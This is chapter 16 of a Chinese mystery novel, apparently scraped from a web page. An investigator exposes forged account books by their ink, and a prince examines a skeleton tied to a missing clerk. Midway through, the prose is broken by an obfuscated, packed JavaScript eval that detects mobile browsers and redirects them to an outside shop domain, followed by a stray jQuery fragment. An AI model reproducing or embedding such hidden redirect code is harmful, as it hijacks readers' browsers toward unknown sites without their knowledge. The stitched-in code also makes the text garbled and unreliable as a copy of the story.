16. 账册
    “少使!”关风和风风火火地拿着一厚摞账册走过来。

    账册摇摇晃晃,像是下一刻就要掉下来。

    李希言看她急躁,连忙起身接住账册。

    “急什么?这么热的天,我也不急着要结果。”

    “王爷也在?”

    “关校尉好。”容朗和善地点点头。

    关风和朝着容朗行完礼,擦了擦汗,自己坐了下来,笑得促狭。

    “哪里是我急,是谢县令太急,昨儿半夜,他亲自跑来送的。”她拍了拍账册,“看见他老人家为了公事如此废寝忘食,我良心不安呢。”

    李希言看着她眼下的乌青,给她倒上一盏茶。

    “所以,你就连夜把账册看了?”

    “正是。”关风和翘起腿,喝了一口茶,“都没有问题,账本都对得上。”

    李希言一脸不信。

    “怎么?你连我都不信?”关风和捂住心口唱念做打,“我为少使出生入死,却无端被疑,我的命好苦……”

    李希言立即打断她。

    “正常复核。你要是嗓子又痒了就自己去找个地儿唱戏。”

    “好无情。”

    李希言翻开几本账册草草扫了一眼:“这是他昨晚给你所有的账册?”

    “是啊!从泰平十一年开始的,他说五年前,那个余绍一把火烧了以前的账本,所以现在县衙里只有这五年来的账册了。”

    李希言挑出两本账册朝她的方向推了过去。

    “假的。”

    “假的?怎么可能?我怎么会算错!”关风和虽是江湖上混日子的人,但是其出身却是正经的官宦世家。

    她的父亲曾经官拜户部右侍郎,是出了名的“关算盘”。

    可惜……

    先帝一朝,奸佞当道,性格正直的“关算盘”很快就被人陷害,死在了大狱中。

    没了男主人,关家其他人也被奸佞赶尽杀绝,最后只剩下一个在外习武未归的关风和。

    而关风和恰巧就继承了她父亲在算学上的天赋。

    这也是李希言外出巡察时都会带着她的原因。

    这世上没有关风和看不出来的假账。

    可是今日,李希言却斩钉截铁地说这些账册全是假的?

    关风和快速翻了两页,连连摇头:“没问题啊……”

    “账目没有问题。”李希言随手翻开另外一本账册,指着上面的墨迹解释,“墨迹不对。”

    关风和凑近看了半晌还是没发现有什么不对。

    李希言又翻开几本给她比对。

    “这两本账册相隔四年时间,墨迹新旧程度却完全一样,明显是同一时间段书写的。”

    “这个天杀的!”关风和气得锤了一下桌子,“拿假的来糊弄我!”

    “你去让苗青把真的偷出来,我觉得……真账册很重要。”李希言凝望着火坑上白烟,心思百转。

    日光强烈得刺眼,正是验骨的好时候。

    尸骨被抬在阳光下,一个衙役撑开一把红色油纸伞罩住了尸骨。

    阳光透过油纸伞漏下,照射在白森森的尸骨上。

    一瞬间,白色的骨骼上凭空出现了几丝细长的血影。

    容朗弯下腰。

    “死者的颈部柱骨第五节有一处骨折,左手小臂有一处骨折,左手小指节也有一处骨折,都是生前伤。”

    好奇怪的受伤部位。

    容朗补充道:“他的其余骨骼都是正常的,没有任何受伤痕迹。”

    李希言犯了难:“这是完全无法判断死因?”

    “有一种可能。颈部骨骼虽然容易受伤,但是这些伤一定是外力导致的。死者有可能死于颈部骨骼骨折导致的猝死。”

    稍微力气大一点的人,一个手刀都有可能劈死人。

    尸骨上的线索算是断了!

    李希言没有放弃:“把物证都拿来。”

    伴随着尸骨的出现的还有很多死者的生前之物。

    衙役们很快就端着物证过来。

    物证不多。

    有一枚玉佩还有几枚散碎银两以及死者的公验等随身物品。

    公验的纸张已经非常残破,但是还能依稀看见不少内容。

    上面写着余绍的信息。

    户房司吏。

    这事情还是要追溯到余绍当年所犯下的罪行以及他的失踪

    “叫高修过来。”

    高修今日的形容有些萎靡,双眼无神,眼下一片青黑,连声音都有气无力。

    “下官见过王爷,见过李少使。”

    李希言心中推测。

    应该是昨夜又被谢荣拉去当苦力了。

    “今日叫你来,是想详细问一当年余绍之事。”

    “余绍啊……”高修的喉咙动了动,露出几分为难的神色。

    “怎么?不能说?”

    高修憋红了脸:“下官原来和余绍关系不错,不知该如何说……这余绍,人不错的。下官到现在都弄不明白他怎么突然就突然间……做出那等事来。”

    “你如实说即可。”

    高修这才说道:“当时他做假账的事情是王御史查出来的。我们一查出来,马上就去抓人了,可是他先一步逃出了县城。我带着几个弟兄追踪了半个月,愣是没找到一点儿痕迹。后来,我们就回来了,县令也没法子只好让人发了海捕文书。”

    “那他最后一次出现在何处?”

    “就在……”高修脸色一变,“慈光寺附近……”

    “余绍家中可还有亲人?”

    “没有,他爹娘早死了,也一直没娶亲。”

    李希言紧紧皱起了眉。

    这案子一点儿线索都没有啊……

    “李少使?”高修小心翼翼地喊道。

    李希言回过神:“说。”

    “其实有个疑点。”

    “什么疑点?”

    高修试探着说道:“当时余绍离开时应该随身携带了不少金银,这些金银都没了,您说会不会是他遇上了附近的土匪?”

    “土匪?”

    李希言还真没想到这个可能。

    “是啊!慈光寺附近的山里土匪不少,时常抢劫来往之人。”

    “这样吧,你去重点排查一下寺庙的所有人以及那些土匪……尽早抓起来。”

    高修眼珠子转了转:“李……李少使……那些土匪不太好抓。”

    李希言淡淡地瞟了他一眼,直接戳穿他:“嗯……一个地界的土匪嚣张了数年却还是没被剿灭,你说他们背后会不会有什么人在?”

    高修立刻打断道:“下官明白!下官这就去办。”

    “欠。”李希言看着高修急匆匆的背影,蹦出一个字。

    “那尸骨有些异常。”一直没开腔的容朗忽然开口。

    “什么异常?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711373|144568||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    容朗思量了一二才说道:“那尸骨摸起来很粗糙。”

    “部分骨骼本来就是如此。”

    “不一样。尸骨的关节处都是粗糙的,而且那种粗糙就像……就像是……”

    容朗一时不知该如何形容。

    “我摸摸不就知道了?”李希言站起。

    容朗想到她怕尸体的事情,下意识一把拉住了她。

    李希言侧过头,眼中闪过一丝愕然。

    糟糕!

    她不喜欢别人碰她。

    容朗飞快缩回了手,结结巴巴地解释:“我这是……这是……”

    “不过来一起看?”

    李希言满不在乎的态度让容朗松了口气。

    “对对对!一起看!”

    二人走到尸骨跟前,容朗小心地揭开白布的一部分,只露出了死者的腿骨。

    “你摸一摸关节就可以了。”

    李希言伸出手细细摩挲了两下。

    确实是很奇怪的触感。

    骨头粗糙的部分应该是像干枯的木头,可是手下的感觉……

    是像起了鸡皮疙瘩的皮肤一样粗糙,骨骼上满是密密麻麻的小凸起,甚至有点……

    “嘶……”

    李希言的手指被划开了一个小口子,破损的皮肤渗出一滴血液,血液瞬间滴入骨骼中,殷红的血显得骨骼的颜色白得森然。

    她还没来得及反应,一双手已经包住了她受伤的右手。

    容朗眉头紧蹙,捏着她的伤口边上,用力挤压着伤口。

    “不疼啊……不疼……”

    他语气像是哄孩子一样,李希言脸上的表情差点崩坏。

    “没事。”

    她用力抽回手,却被对方死死握住。

    抽不动!劲儿还挺大。

    容朗抬眼:“我给你上药。”

    “我自己来。”李希言对这样的亲密很是排斥,语气又冷又硬。

    “哦。”容朗哪里不知道她的性子。

    从小到大就口是心非。

    他嘴上应着,另外一只手却已经掏出了药瓶,眨眼间就把药粉倒了上去。

    “这尸骨不干净,我才急着给李少使挤血。”

    他的话和他的动作是截然相反的。

    可是这样公事公办的语气,李希言还真不好再说什么。

    她硬梆梆地道谢:“多谢。”

    “李少使客气了。”容朗粲然一笑。

    李希言趁机抽回手,甩了甩手上的药粉。

    “这尸骨的粗糙应该是有特殊原因的。”

    容朗也装作什么都没有发生:“我也有这样的想法。之前听仵作提起过,身体虚弱或者是有骨痿的人可能就会有这样的情况。”

    “余绍年轻力壮,并无疾病,这两种情况不太可能。”

    “或许是其他的原因呢?我回去翻翻书,或者是等县衙仵作来了再问问他。”

    “好。”见他如此尽心尽力,李希言心里有些发虚,语气都好上了不少,“辛苦王爷了。”

    容朗很容易满足,笑眯眯地说道:“不辛苦的,能帮上忙就行。”

    “那我先回去了。若有结果,劳烦王爷来知会我一声。”

    容朗拿起扇子遮住照在她头上的阳光:“说不定我能找到什么重要线索呢。”

    一语成谶。

    刚入夜,一个几乎颠覆了之前所有假设的线索浮上水面。